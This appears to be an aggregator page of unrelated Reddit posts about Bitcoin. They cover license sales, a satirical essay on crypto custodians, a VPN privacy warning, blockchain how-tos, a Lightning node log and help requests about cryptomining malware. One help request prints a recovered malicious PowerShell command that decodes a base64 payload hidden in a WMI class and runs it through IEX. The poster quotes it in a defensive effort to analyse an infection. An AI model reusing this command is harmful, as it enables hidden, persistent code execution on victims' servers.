BitCoin Flowbit

Windows Server 2008 R2 Web 64bit is for sale on cryptothrift.com for Bitcoin and Litecoin https://cryptothrift.com/auctions/download-software/windows-server-2008-r2-web-64bit-3/

Windows Server 2008 R2 Web 64bit is for sale on cryptothrift.com for Bitcoin and Litecoin https://cryptothrift.com/auctions/download-software/windows-server-2008-r2-web-64bit-3/ submitted by duetschpire to cryptothrift [link] [comments]

Windows Server 2008 R2 Web is for sale on cryptothrift.com for Bitcoin and Litecoin https://cryptothrift.com/auctions/download-software/windows-server-2008-r2-web/

Windows Server 2008 R2 Web is for sale on cryptothrift.com for Bitcoin and Litecoin https://cryptothrift.com/auctions/download-software/windows-server-2008-r2-web/ submitted by duetschpire to cryptothrift [link] [comments]

Windows Server 2008 R2 Web 64bit is for sale on cryptothrift.com for Bitcoin and Litecoin https://cryptothrift.com/auctions/download-software/windows-server-2008-r2-web-64bit-4/

Windows Server 2008 R2 Web 64bit is for sale on cryptothrift.com for Bitcoin and Litecoin https://cryptothrift.com/auctions/download-software/windows-server-2008-r2-web-64bit-4/ submitted by duetschpire to cryptothrift [link] [comments]

[WTS] 5 Windows Server 2008 SP2 License for bitCoins

[WTS] 5 Windows Server 2008 SP2 License for bitCoins submitted by nothingsdenied to BitMarket [link] [comments]

Bob The Magic Custodian



Summary: Everyone knows that when you give your assets to someone else, they always keep them safe. If this is true for individuals, it is certainly true for businesses.
Custodians always tell the truth and manage funds properly. They won't have any interest in taking the assets as an exchange operator would. Auditors tell the truth and can't be misled. That's because organizations that are regulated are incapable of lying and don't make mistakes.

First, some background. Here is a summary of how custodians make us more secure:

Previously, we might give Alice our crypto assets to hold. There were risks:

But "no worries", Alice has a custodian named Bob. Bob is dressed in a nice suit. He knows some politicians. And he drives a Porsche. "So you have nothing to worry about!". And look at all the benefits we get:
See - all problems are solved! All we have to worry about now is:
It's pretty simple. Before we had to trust Alice. Now we only have to trust Alice, Bob, and all the ways in which they communicate. Just think of how much more secure we are!

"On top of that", Bob assures us, "we're using a special wallet structure". Bob shows Alice a diagram. "We've broken the balance up and store it in lots of smaller wallets. That way", he assures her, "a thief can't take it all at once". And he points to a historic case where a large sum was taken "because it was stored in a single wallet... how stupid".
"Very early on, we used to have all the crypto in one wallet", he said, "and then one Christmas a hacker came and took it all. We call him the Grinch. Now we individually wrap each crypto and stick it under a binary search tree. The Grinch has never been back since."

"As well", Bob continues, "even if someone were to get in, we've got insurance. It covers all thefts and even coercion, collusion, and misplaced keys - only subject to the policy terms and conditions." And with that, he pulls out a phone-book sized contract and slams it on the desk with a thud. "Yep", he continues, "we're paying top dollar for one of the best policies in the country!"
"Can I read it?' Alice asks. "Sure," Bob says, "just as soon as our legal team is done with it. They're almost through the first chapter." He pauses, then continues. "And can you believe that sales guy Mike? He has the same year Porsche as me. I mean, what are the odds?"

"Do you use multi-sig?", Alice asks. "Absolutely!" Bob replies. "All our engineers are fully trained in multi-sig. Whenever we want to set up a new wallet, we generate 2 separate keys in an air-gapped process and store them in this proprietary system here. Look, it even requires the biometric signature from one of our team members to initiate any withdrawal." He demonstrates by pressing his thumb into the display. "We use a third-party cloud validation API to match the thumbprint and authorize each withdrawal. The keys are also backed up daily to an off-site third-party."
"Wow that's really impressive," Alice says, "but what if we need access for a withdrawal outside of office hours?" "Well that's no issue", Bob says, "just send us an email, call, or text message and we always have someone on staff to help out. Just another part of our strong commitment to all our customers!"

"What about Proof of Reserve?", Alice asks. "Of course", Bob replies, "though rather than publish any blockchain addresses or signed transaction, for privacy we just do a SHA256 refactoring of the inverse hash modulus for each UTXO nonce and combine the smart contract coefficient consensus in our hyperledger lightning node. But it's really simple to use." He pushes a button and a large green checkmark appears on a screen. "See - the algorithm ran through and reserves are proven."
"Wow", Alice says, "you really know your stuff! And that is easy to use! What about fiat balances?" "Yeah, we have an auditor too", Bob replies, "Been using him for a long time so we have quite a strong relationship going! We have special books we give him every year and he's very efficient! Checks the fiat, crypto, and everything all at once!"

"We used to have a nice offline multi-sig setup we've been using without issue for the past 5 years, but I think we'll move all our funds over to your facility," Alice says. "Awesome", Bob replies, "Thanks so much! This is perfect timing too - my Porsche got a dent on it this morning. We have the paperwork right over here." "Great!", Alice replies.
And with that, Alice gets out her pen and Bob gets the contract. "Don't worry", he says, "you can take your crypto-assets back anytime you like - just subject to our cancellation policy. Our annual management fees are also super low and we don't adjust them often".

How many holes have to exist for your funds to get stolen?
Just one.

Why are we taking a powerful offline multi-sig setup, widely used globally in hundreds of different/lacking regulatory environments with 0 breaches to date, and circumventing it by a demonstrably weak third party layer? And paying a great expense to do so?
If you go through the list of breaches in the past 2 years to highly credible organizations, you go through the list of major corporate frauds (only the ones we know about), you go through the list of all the times platforms have lost funds, you go through the list of times and ways that people have lost their crypto from identity theft, hot wallet exploits, extortion, etc... and then you go through this custodian with a fine-tooth comb and truly believe they have value to add far beyond what you could, sticking your funds in a wallet (or set of wallets) they control exclusively is the absolute worst possible way to take advantage of that security.

The best way to add security for crypto-assets is to make a stronger multi-sig. With one custodian, what you are doing is giving them your cryptocurrency and hoping they're honest, competent, and flawlessly secure. It's no different than storing it on a really secure exchange. Maybe the insurance will cover you. Didn't work for Bitpay in 2015. Didn't work for Yapizon in 2017. Insurance has never paid a claim in the entire history of cryptocurrency. But maybe you'll get lucky. Maybe your exact scenario will buck the trend and be what they're willing to cover. After the large deductible and hopefully without a long and expensive court battle.

And you want to advertise this increase in risk, the lapse of judgement, an accident waiting to happen, as though it's some kind of benefit to customers ("Free institutional-grade storage for your digital assets.")? And then some people are writing to the OSC that custodians should be mandatory for all funds on every exchange platform? That this somehow will make Canadians as a whole more secure or better protected compared with standard air-gapped multi-sig? On what planet?

Most of the problems in Canada stemmed from one thing - a lack of transparency. If Canadians had known what a joke Quadriga was - it wouldn't have grown to lose $400m from hard-working Canadians from coast to coast to coast. And Gerald Cotten would be in jail, not wherever he is now (at best, rotting peacefully). EZ-BTC and mister Dave Smilie would have been a tiny little scam to his friends, not a multi-million dollar fraud. Einstein would have got their act together or been shut down BEFORE losing millions and millions more in people's funds generously donated to criminals. MapleChange wouldn't have even been a thing. And maybe we'd know a little more about CoinTradeNewNote - like how much was lost in there. Almost all of the major losses with cryptocurrency exchanges involve deception with unbacked funds.
So it's great to see transparency reports from BitBuy and ShakePay where someone independently verified the backing. The only thing we don't have is:
It's not complicated to validate cryptocurrency assets. They need to exist, they need to be spendable, and they need to cover the total balances. There are plenty of credible people and firms across the country that have the capacity to reasonably perform this validation. Having more frequent checks by different, independent, parties who publish transparent reports is far more valuable than an annual check by a single "more credible/official" party who does the exact same basic checks and may or may not publish anything. Here's an example set of requirements that could be mandated:
There are ways to structure audits such that neither crypto assets nor customer information are ever put at risk, and both can still be properly validated and publicly verifiable. There are also ways to structure audits such that they are completely reasonable for small platforms and don't inhibit innovation in any way. By making the process as reasonable as possible, we can completely eliminate any reason/excuse that an honest platform would have for not being audited. That is arguable far more important than any incremental improvement we might get from mandating "the best of the best" accountants. Right now we have nothing mandated and tons of Canadians using offshore exchanges with no oversight whatsoever.

Transparency does not prove crypto assets are safe. CoinTradeNewNote, Flexcoin ($600k), and Canadian Bitcoins ($100k) are examples where crypto-assets were breached from platforms in Canada. All of them were online wallets and used no multi-sig as far as any records show. This is consistent with what we see globally - air-gapped multi-sig wallets have an impeccable record, while other schemes tend to suffer breach after breach. We don't actually know how much CoinTrader lost because there was no visibility. Rather than publishing details of what happened, the co-founder of CoinTrader silently moved on to found another platform - the "most trusted way to buy and sell crypto" - a site that has no information whatsoever (that I could find) on the storage practices and a FAQ advising that “[t]rading cryptocurrency is completely safe” and that having your own wallet is “entirely up to you! You can certainly keep cryptocurrency, or fiat, or both, on the app.” Doesn't sound like much was learned here, which is really sad to see.
It's not that complicated or unreasonable to set up a proper hardware wallet. Multi-sig can be learned in a single course. Something the equivalent complexity of a driver's license test could prevent all the cold storage exploits we've seen to date - even globally. Platform operators have a key advantage in detecting and preventing fraud - they know their customers far better than any custodian ever would. The best job that custodians can do is to find high integrity individuals and train them to form even better wallet signatories. Rather than mandating that all platforms expose themselves to arbitrary third party risks, regulations should center around ensuring that all signatories are background-checked, properly trained, and using proper procedures. We also need to make sure that signatories are empowered with rights and responsibilities to reject and report fraud. They need to know that they can safely challenge and delay a transaction - even if it turns out they made a mistake. We need to have an environment where mistakes are brought to the surface and dealt with. Not one where firms and people feel the need to hide what happened. In addition to a knowledge-based test, an auditor can privately interview each signatory to make sure they're not in coercive situations, and we should make sure they can freely and anonymously report any issues without threat of retaliation.
A proper multi-sig has each signature held by a separate person and is governed by policies and mutual decisions instead of a hierarchy. It includes at least one redundant signature. For best results, 3of4, 3of5, 3of6, 4of5, 4of6, 4of7, 5of6, or 5of7.

History has demonstrated over and over again the risk of hot wallets even to highly credible organizations. Nonetheless, many platforms have hot wallets for convenience. While such losses are generally compensated by platforms without issue (for example Poloniex, Bitstamp, Bitfinex, Gatecoin, Coincheck, Bithumb, Zaif, CoinBene, Binance, Bitrue, Bitpoint, Upbit, VinDAX, and now KuCoin), the public tends to focus more on cases that didn't end well. Regardless of what systems are employed, there is always some level of risk. For that reason, most members of the public would prefer to see third party insurance.
Rather than trying to convince third party profit-seekers to provide comprehensive insurance and then relying on an expensive and slow legal system to enforce against whatever legal loopholes they manage to find each and every time something goes wrong, insurance could be run through multiple exchange operators and regulators, with the shared interest of having a reputable industry, keeping costs down, and taking care of Canadians. For example, a 4 of 7 multi-sig insurance fund held between 5 independent exchange operators and 2 regulatory bodies. All Canadian exchanges could pay premiums at a set rate based on their needed coverage, with a higher price paid for hot wallet coverage (anything not an air-gapped multi-sig cold wallet). Such a model would be much cheaper to manage, offer better coverage, and be much more reliable to payout when needed. The kind of coverage you could have under this model is unheard of. You could even create something like the CDIC to protect Canadians who get their trading accounts hacked if they can sufficiently prove the loss is legitimate. In cases of fraud, gross negligence, or insolvency, the fund can be used to pay affected users directly (utilizing the last transparent balance report in the worst case), something which private insurance would never touch. While it's recommended to have official policies for coverage, a model where members vote would fully cover edge cases. (Could be similar to the Supreme Court where justices vote based on case law.)
Such a model could fully protect all Canadians across all platforms. You can have a fiat coverage governed by legal agreements, and crypto-asset coverage governed by both multi-sig and legal agreements. It could be practical, affordable, and inclusive.

Now, we are at a crossroads. We can happily give up our freedom, our innovation, and our money. We can pay hefty expenses to auditors, lawyers, and regulators year after year (and make no mistake - this cost will grow to many millions or even billions as the industry grows - and it will be borne by all Canadians on every platform because platforms are not going to eat up these costs at a loss). We can make it nearly impossible for any new platform to enter the marketplace, forcing Canadians to use the same stagnant platforms year after year. We can centralize and consolidate the entire industry into 2 or 3 big players and have everyone else fail (possibly to heavy losses of users of those platforms). And when a flawed security model doesn't work and gets breached, we can make it even more complicated with even more people in suits making big money doing the job that blockchain was supposed to do in the first place. We can build a system which is so intertwined and dependent on big government, traditional finance, and central bankers that it's future depends entirely on that of the fiat system, of fractional banking, and of government bail-outs. If we choose this path, as history has shown us over and over again, we can not go back, save for revolution. Our children and grandchildren will still be paying the consequences of what we decided today.
Or, we can find solutions that work. We can maintain an open and innovative environment while making the adjustments we need to make to fully protect Canadian investors and cryptocurrency users, giving easy and affordable access to cryptocurrency for all Canadians on the platform of their choice, and creating an environment in which entrepreneurs and problem solvers can bring those solutions forward easily. None of the above precludes innovation in any way, or adds any unreasonable cost - and these three policies would demonstrably eliminate or resolve all 109 historic cases as studied here - that's every single case researched so far going back to 2011. It includes every loss that was studied so far not just in Canada but globally as well.
Unfortunately, finding answers is the least challenging part. Far more challenging is to get platform operators and regulators to agree on anything. My last post got no response whatsoever, and while the OSC has told me they're happy for industry feedback, I believe my opinion alone is fairly meaningless. This takes the whole community working together to solve. So please let me know your thoughts. Please take the time to upvote and share this with people. Please - let's get this solved and not leave it up to other people to do.

Facts/background/sources (skip if you like):



Thoughts?
submitted by azoundria2 to QuadrigaInitiative [link] [comments]

Longtime PIA user here - Run, Don't Walk, Away from PIA in Light of the Merger

I was deeply disappointed to find out today that PIA is working on a deal to be acquired by Kape Technologies. Disappointed and concerned enough that I registered for my first Reddit account (I have a habit of lurking forums) just so that I could warn others of what this PIA sale really means.
To start, I've been a PIA user since Feb 2014 (about 4 months before this subreddit was started). My full-time job is in cybersecurity so choosing the right VPN was VERY important to me. Previously I worked in Digital Marketing where one of my tasks was to comb through all of the user data that companies collect and spam you with online advertising. Advertising and privacy are fundamentally opposed to one another; invading people's privacy so that I could swindle them out of their hard-earned money sucked, so now I'm firmly on the privacy side of things. Great. So what does this have to do with PIA?
In short, like many others, I did my own research into the best VPN for me. I am INTENSELY skeptical of anyone peddling an agenda and I can smell monetized bullshit from a few miles away. So the resource that I used to choose the best VPN was the almost perfectly unbiased comparison at https://thatoneprivacysite.net . A lot of PIA users are now asking "What VPN should I use now?" I would recommend taking a few minutes to check over either the Simple Comparison or Detailed Comparison on that site and reaching your own conclusion. For me, TRUSTING my VPN not to log my data so that they can sell it to advertisers was the absolute most important criteria. That trust depends on the actions and reputation of the company (which the linked site also addresses). Also, PIAs claim that they do not log individual user data has been tested and proven true in the past, when they were subpoenaed for user info by the FBI and could not provide it because they only had bulk anonymized data, not individual data. https://torrentfreak.com/vpn-providers-no-logging-claims-tested-in-fbi-case-160312/
For a long time, PIA was a guardian or privacy and anonymity; despite the PR campaign they are doing in this subreddit and even if PIA employees have the best intention, it is clear that their prospective buyer does not have the same stellar track record as PIA regarding: 1) not logging ANY user details and 2) using YOUR personal information (age, location, browser history, gender, income, race, etc) to bombard you with ads and try to get you to part with your hard-earned money.
For an idea of what to expect from PIA in the future, let's take a quick look at the CyberGhost US Privacy Policy (copied from their official website at https://www.cyberghostvpn.com/en_US/privacypolicy on 11/23/19). CyberGhost is a VPN service that would be owned by Kape Technologies, a sister company to PIA:

"Sharing Your Personal Data

We do not share, sell, rent or trade your Personal Data with third parties other than as disclosed within this Privacy Policy. We may disclose your Personal Data to any member of our group of companies (this means our subsidiaries, our ultimate holding company and all its subsidiaries) insofar as reasonably necessary for the purposes set out in this Policy."
OK, not too bad at first glance: "We do not share, sell ... your Personal Data" except, wait a second, there's a shit-ton of asterisks and half-truths here. The Privacy Policy goes on to explicitly list these 3rd parties that will be given YOUR LOGGED USER DATA:
Cleverbridge - https://www.cleverbridge.com/corporate/privacy-policy/Stripe - https://stripe.com/us/privacy/ZenDesk - https://www.zendesk.com/company/customers-partners/eu-data-protection/VWO - https://vwo.com/privacy-policy/
Oh wait, but now they slipped in a bunch of asterisks at the end:
"Lastly, we may share Non-personal Data associated with the use of our Website and the Services with 3rd part suppliers for the purposes of optimization of our Website and Services as well customer analytics and fraud prevention (e.g.VWO, Appsflyer, Google, Mixpanel, Instabug, BugSplat, OpenX, etc). These third parties will use Non-personal Data and/or Personal Data relating to your use of our Website to evaluate your use of the Website, compile reports on Site activity and provide other Site activity and internet related services, all in accordance with their applicable privacy policy. Please refer to our Cookie Policy for further information on the use of Non-Personal Data by our 3rd Party Service Providers."
OK, CyberGhost's Privacy Policy ain't so private any more. That last clause just said that Google, Mixpanel and a bunch of other services are going to be provided YOUR INFO by CyberGhost. And the slap in the face: "all in accordance with their applicable privacy policy." Yes, CyberGhost is providing YOUR PRIVATE USER DATA to Google, to be used how Google sees fit. We already know what that means: collecting and monetizing everything we can get our grubby hands on. No matter what they may say, Google and it's supporters are NOT champions of privacy. Google was my primary supplier in that Digital Marketing job when I was buying user info and spamming the shit out of people with their own personal info that was being siphoned from them.
Ugh, can you see why even being associated with CyberGhost and it's parent company (Kape Technologies) is an exhausting privacy disaster waiting to happen? This is why PIA users need to GTFO. It was a good run with PIA but when you look at the facts (from Kape's own websites), you can see that this is the end of the line for true no-logging privacy and anonymity with PIA.
Now to address the insistence that "PIA will never change or compromise our values on privacy," I would like to cite some other acquisitions where "our values never changed:"
Nest Labs acquired by Google - your WiFi and Bluetooth-connected Thermostat now gives Google a window into your schedule, other nearby devices, and neighbor's devicesBlizzard Entertainment acquired by Activision - actual quote for the now-CEO of the company that makes Overwatch, WoW, Hearthstone, etc:" [we don't want games that] don't have the potential to be exploited every year on every platform with clear sequel potential and have the potential to become $100 million franchises. … I think, generally, our strategy has been to focus… on the products that have those attributes and characteristics, the products that we know [that] if we release them today, we'll be working on them 10 years from now." https://arstechnica.com/gaming/2008/11/activision-if-we-cant-run-a-game-into-the-ground-we-dont-want-it/Ring acquired by Amazon - you know where this is headed. Super-convenient doorbell cam company sells all your info to Amazon, Amazon partners with Police Departments to provide your footage to them in real-time on demand. Haven't checked their privacy policy and practices, but that's a huge red flag for a camera outside your home, but think about all of those Ring "security cameras" INSIDE your home and the footage that could end up in police hands. Yikes.
TLDR version:PIA used to be an excellent service because they truly did not log user activity, once were actually subpoenaed for user activity and said "we don't have those logs to provide to you." They also completely stopped all servers and business in Russia when the government there pressured them to start logging user data. The company that's now buying PIA does not have as good of a track record. In fact, as pointed out above, they are currently logging user info and willingly providing it to Google, Mixpanel, and other "aggregators (read: collectors and sellers)" of personal data. In short, the PIA gravy train is over. Visit https://thatoneprivacysite.net (I have no affiliation with this site, it just seems to have the least agenda of any "recommendations" I've heard so far) and decide the VPN that is best for you. For PIA users that chose their VPN service based on trust and promise of no-logging, look at Mullvad https://mullvad.net/en/ and Windscribe https://windscribe.com . No matter which VPN you are interested in, look for unbiased and independent reviews (aka free of monetization and ads) and READ THE FULL PRIVACY POLICY.
Edit: added link to TorrentFreak article supporting PIAs claim that they do not log individual user data
Update: Both Mullvad and Windscribe seem to be what many users in this subreddit are looking for as an alternative to PIA. It seems like we haven't found too many other services that value user privacy as much. You can get free trials for both Windscribe and Mullvad at the links directly above. I am currently signing up for Mullvad because it's signup process is close to anonymous: you request a user account number on their site, they give you the number and then this becomes your account credentials. Then you can choose from several anonymous (and not anonymous) methods. After they get your payment, they turn on your service. I paid with Bitcoin for anonymity and this transfer is currently being processed. I expect Mullvad to be a bit more "hands-on" and require more manual user setup. If you're looking for a quicker and easier transfer, check out Windscribe. If anyone has other suggestions for truly no-logging VPN providers, we'll research them and add here for more options.
submitted by rogerflog to PrivateInternetAccess [link] [comments]

National Health Service in the UK follows the lead of US colleagues and discovers the application of Blockchain to healthcare services

National Health Service in the UK follows the lead of US colleagues and discovers the application of Blockchain to healthcare services submitted by dgerard to Buttcoin [link] [comments]

Deciphering Cmd command

Quick recap: SEP/EDR Sonar is flagging malicious script on a 2008 Server. Powershell is base64 encoded and runs in the background and bypasses execution policy. decoded part tries to kill xmrig a bitcoin miner among other things. I can't find where the script is running from. SEP, Malwarebytes, PowerEraser, Symdiag all comeback with nothing.
I am in the process of rolling back/rebuilding the server but I really want to solve this puzzle. I noticed msiexec is using 63% cpu fairly consistently. Looking more into it, its running out of C:\Windows\Panther and has the same sha256 as powershell. Submitted it to VT and Hybrid-Analysis, both say its powershell. Hybrid had a few suspicious findings but it still had a low score.
I did a dump of the running msiexec process and found the following command:
"C:\Windows\Panther\msiexec.exe" $WmiName='root\cimv2:Win32_SysCommand';$Wmi=New-Object Management.ManagementClass($WmiName);$F=([WmiClass]$WmiName).Properties['F'].Value;IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($F)))

I really think this might be the source, can someone help me decipher what that command is doing?
submitted by Bubblinjuggalo to PowerShell [link] [comments]

How can I create a blockchain from scratch?

Blockchain technology was announced initially as “A Peer-to-Peer Electronic Cash System” by Satoshi Nakamoto in the year 2008. It is a list of transaction records known as blocks and linked together by using cryptography. In other words, blockchain is a distributed ledger and each block consists of cryptographic hash of the previous block, transaction data, and a timestamp.

Eight Steps to Make Blockchain from Scrap

#Step 1
Identify the Right Use-Case
Look for the suitable use-case complementing your business sense and needs. Get your data authenticated and verified by including encryption, and digital signatures. Use, smart asset management to include payment, exchange, escrow, issuance, and retirement payment options.
#Step 2
Identify the Right Consensus Mechanism
Once, you have opted for use-case, you need to choose the right Consensus Mechanism. Over the years, there have been multiple distributed ledger systems you can choose like Byzantine fault tolerant, Proof of stake, Round Robin, Federated consensus, and Derived PBFT.
#Step 3
Choose the Suitable Platform
Fortunately, there are many free of cost and independent blockchain platforms to use such as Chain Core, BigChainDB, Eris:db, Domus Tower Blockchain, Stellar, Symbiont Assembly, Hyperledger Sawtooth Lake, and Quorum.
#Step 4
Designing the Nodes
Blockchain solutions are distinguished into two- Permissioned (Government run land registry) and Permission-less (Where everyone can be a miner such as Bitcoin). The solutions can be private, public, and hybrid. Meanwhile, in this stage decide whether the nodes will access on premise, cloud or both. You also need to opt for base operating systems such as Debian, CentOS, Windows, Ubuntu, and Red Hat.
#Step 5
Create the Blockchain Illustration
Multiple blockchain platforms require vigilant and planned configuration that must include permissions, asset re-issuance, asset issuance, key management, native assets, address formats, and block signatures.
#Step 6
Creating APIs
Some blockchain has inbuilt APIs and some don’t. Your API must generate key pairs, and address, perform audit, authenticate data, smart asset lifecycle management and data storage and retrieval.
#Step 7
Create the Admin and User Interface
Now is the time to choose the right programming languages (JAVA, JavaScript, Ruby, Python, and Solidity), front end, external databases (MongoDB, and MySQL), and severs (mail servers, Web servers, and FTP servers).
#Step 8
Infusing Future Tech
By adding biometrics, bots, artificial intelligence, cloud, data analytics, machine learning and cognitive services you can accentuate your blockchain technology.
References:
#8 Steps to Build a Blockchain Solution
How do you make Blockchain?
submitted by Sonaliiiii to u/Sonaliiiii [link] [comments]

New Malware Steals Bitcoin And Litecoin Wallets` Information

New Malware Steals Bitcoin And Litecoin Wallets` Information

The InnfiRAT Malware Exploits Technical Vulnerabilities And Steals Sensitive Information From Wallet Users
The cryptocurrencies market has evolved at a rapid pace since the BTC introduction in 2008. Parallel to the market expansion, the rate at which crypto cybercrime groups and individuals has grown exponentially.
The newest thread, called InnfiRAT, is a remote access Trojan stealing wallet addresses and keys from BTC and LTC supported wallets. The sensitive information that is being targeted by the malware includes the theft of usernames and passwords, even from the most up to date internet browsers. The innfiRAT also has the ability to make screenshots of open windows and kills computer process, similarly to what antivirus software applications do.
Zscaler, a cloud computing and research company, managed to reverse-engineer the malware. In its core, the virus is sending information to a control-and-command remote server which is operated by criminals. Cybercriminals can request additional information to be supplied through the trojan. The most reported incidents of innfiRAT infections were from downloading email attachments or from running applications developed by sources with low credibility.
There have been multiple malware attacks on the crypto community, one of the most notable being the Glupteba attack. Glupteba was identified in December 2018. Its goals were to steal browsing data, such as browsing history, cookies and credentials. The upgraded Glupteba 2.0 was launched with the aim of utilizing its victims` computer resources in order to mine Monero.
Zscaler’s warnings come amid а very interesting period for Bitcoin, with clear signs of the market being side-ways with price volatilities of around $600 (either upwards or downwards) for the past several weeks. As of press time, the leading cryptocurrency to date is trading at $9,899.84, with a $177,6 billion in market capitalization, with tendencies of bearish market.
submitted by Crypto_Browser to u/Crypto_Browser [link] [comments]

How do you make Blockchain?

How do you make Blockchain?
Blockchain technology was announced initially as “A Peer-to-Peer Electronic Cash System” by Satoshi Nakamoto in the year 2008. It is a list of transaction records known as blocks and linked together by using cryptography. In other words, blockchain is a distributed ledger and each block consists of a cryptographic hash of the previous block, transaction data, and a timestamp.


https://preview.redd.it/pdbd1r2qlsi31.jpg?width=860&format=pjpg&auto=webp&s=762eda991eabcb1a033b192801f31dec18413287

Eight Steps to Make Blockchain from Scrap

#Step 1
Identify the Right Use-Case
Look for the suitable use-case complementing your business sense and needs. Get your data authenticated and verified by including encryption, and digital signatures. Use, smart asset management to include payment, exchange, escrow, issuance, and retirement payment options.
#Step 2
Identify the Right Consensus Mechanism
Once, you have opted for use-case, you need to choose the right Consensus Mechanism. Over the years, there have been multiple distributed ledger systems you can choose like Byzantine fault tolerant, Proof of stake, Round Robin, Federated consensus, and Derived PBFT.
#Step 3
Choose the Suitable Platform
Fortunately, there are many free of cost and independent blockchain platforms to use such as Chain Core, BigChainDB, Eris:db, Domus Tower Blockchain, Stellar, Symbiont Assembly, Hyperledger Sawtooth Lake, and Quorum.
#Step 4
Designing the Nodes
Blockchain solutions are distinguished into two- Permissioned (Government run land registry) and Permission-less (Where everyone can be a miner such as Bitcoin). The solutions can be private, public, and hybrid. Meanwhile, in this stage decide whether the nodes will access on premise, cloud or both. You also need to opt for base operating systems such as Debian, CentOS, Windows, Ubuntu, and Red Hat.
#Step 5
Create the Blockchain Illustration
Multiple blockchain platforms require vigilant and planned configuration that must include permissions, asset re-issuance, asset issuance, key management, native assets, address formats, and block signatures.
#Step 6
Creating APIs
Some blockchain has inbuilt APIs and some don’t. Your API must generate key pairs, and address, perform audit, authenticate data, smart asset lifecycle management and data storage and retrieval.
#Step 7
Create the Admin and User Interface
Now is the time to choose the right programming languages (JAVA, JavaScript, Ruby, Python, and Solidity), front end, external databases (MongoDB, and MySQL), and severs (mail servers, Web servers, and FTP servers). Experts at Sphinx Worldbiz can help you in choosing and creating the right admin and user interface to enhance your blockchain technology.
#Step 8
Infusing Future Tech
By adding biometrics, bots, artificial intelligence, cloud, data analytics, machine learning and cognitive services you can accentuate your blockchain technology.
submitted by AniiJain to u/AniiJain [link] [comments]

Windows Server 2008 R2 Disc?

Hey all,
Are there any official sources to locate a Windows Server 2008 R2 disc to perform a Repair operation on a failing Domain Controller?
I'm hoping to avoid paying for a new license (in fact I would rather just update this to a newer server, but that is a last resort in this case) since the server itself is already licensed, but the last IT team didn't manage to save the installation media.
EDIT: Looks like a couple of you have come through for me in what I can only describe as "record time". Thanks to you both. If either of these two ISOs work, I'm gonna tip you both a teeny bit of Bitcoin.
submitted by frystreetacidworks to sysadmin [link] [comments]

Lightning node on Windows - testing, get not connected

Ok after testing BTCPay, C-Lightning, LND on Ubuntu I said ok let's try also the Windows implementation, is just few clicks and done (as it is promoted).
So I followed this github guide that actually send you to this one.
OK, started Bitcoin-core client on Windows 7 x64, with an already synced data folder. Empty bitcoin.conf (none of guides says how to configure the conf file). Wait until the client is full synced. And then launched the windows-node-launcher (from a subfolder inside Bitcoin folder). All good, started slowly and a small popup appeared in systray saying Bitcoin node is syncing. Reviewed the config of Bitcoin and LND through that little app in systray and saw that bitcoin.conf was already filled with some settings. Didn't change anything. After 1 day (with the bitcoin blockchain already synced), the systray popup still says that is syncing and have a red dot. In the tutorial says that we have to leave it to sync until is blue and then green.
I said, ok maybe it has more things to do. So I open that LND Output link, to see what is going on... And I see that LND is not well. Says: 2019-04-06 21:11:29.772 [INF] LTND: Version: 0.6.0-beta commit=v0.6-beta-rc3, build=production, logging=default 2019-04-06 21:11:29.772 [INF] LTND: Active chain: Bitcoin (network=mainnet) 2019-04-06 21:11:29.774 [INF] CHDB: Checking for schema update: latest_version=8, db_version=8 2019-04-06 21:11:29.808 [INF] RPCS: password RPC server listening on 127.0.0.1:10009 2019-04-06 21:11:29.808 [INF] RPCS: password gRPC proxy started at 127.0.0.1:8080 2019-04-06 21:11:29.808 [INF] LTND: Waiting for wallet encryption password. Use lncli create to create a wallet, lncli unlock to unlock an existing wallet, or lncli changepassword to change the password of an existing wallet and unlock it. 2019-04-06 21:11:32.673 [INF] LNWL: Opened wallet 2019-04-06 21:11:33.183 [INF] LTND: Primary chain is set to: bitcoin unable to create chain control: unable to connect to bitcoind: unable to subscribe for zmq block events: dial tcp 127.0.0.1:18502: connectex: No connection could be made because the target machine actively refused it. 2019-04-06 21:11:36.087 [INF] LTND: Shutdown complete unable to connect to bitcoind: unable to subscribe for zmq block events: dial tcp 127.0.0.1:18502: connectex: No connection could be made because the target machine actively refused it. 2019-04-06 21:11:39.229 [INF] LTND: Version: 0.6.0-beta commit=v0.6-beta-rc3, build=production, logging=default
Now the bitcoin.conf have this: printtoconsole=1 rpcallowip=::/0 whitelist=0.0.0.0/0 datadir=C:\Users\Admin\AppData\Roaming\Bitcoin prune=0 txindex=1 server=1 disablewallet=0 timeout=6000 rpcuser=user rpcpassword=defaultxzxxxxx zmqpubrawblock=tcp://127.0.0.1:18502 zmqpubrawtx=tcp://127.0.0.1:18503 dbcache=2408
And LND.conf have this: (#) Auto-Generated Configuration File (#) Node Launcher version 6.0.2 debuglevel=info restlisten=127.0.0.1:8080 rpclisten=127.0.0.1:10009 tlsextraip=127.0.0.1 listen=127.0.0.1:9735 alias=aliasme color=#00aa7f bitcoin.active=1 bitcoin.node=bitcoind bitcoind.rpchost=127.0.0.1:8332 bitcoind.rpcuser=user bitcoind.rpcpass=defaultxxxxx bitcoind.zmqpubrawblock=tcp://127.0.0.1:18502 bitcoind.zmqpubrawtx=tcp://127.0.0.1:18503
So what is going on here? I will have to wait indefinitely? Somebody can give some help or explanation? Is this LND node working on Windows Server 2008 or 2012?
submitted by Mr--Robot to Bitcoin [link] [comments]

BitCoin Mining Malware Removal Help

Hello,
Just this morning we received an alert from our Sophos Cloud Console about an apparent "Troj/Miner-BP" virus that was detected on our Exchange 2010, Windows 2008 R2 server. This is our primary Exchange server in a multi Exchange server (2 total) environment. I believe I've been able to stop the bleeding for now (answer how for those curious towards the bottom), but I'm curious if any of you have any experience with any mining malware like this (Google had hardly any results, and the only results they did come up with are from the last day or two so I'm sure it's a relatively new exploit). Please bear with me while I try to relay all of the information we've gathered about this mining malware - it's slightly confusing and all based on roughly 2 hour's worth of trying to trace this malware's path.
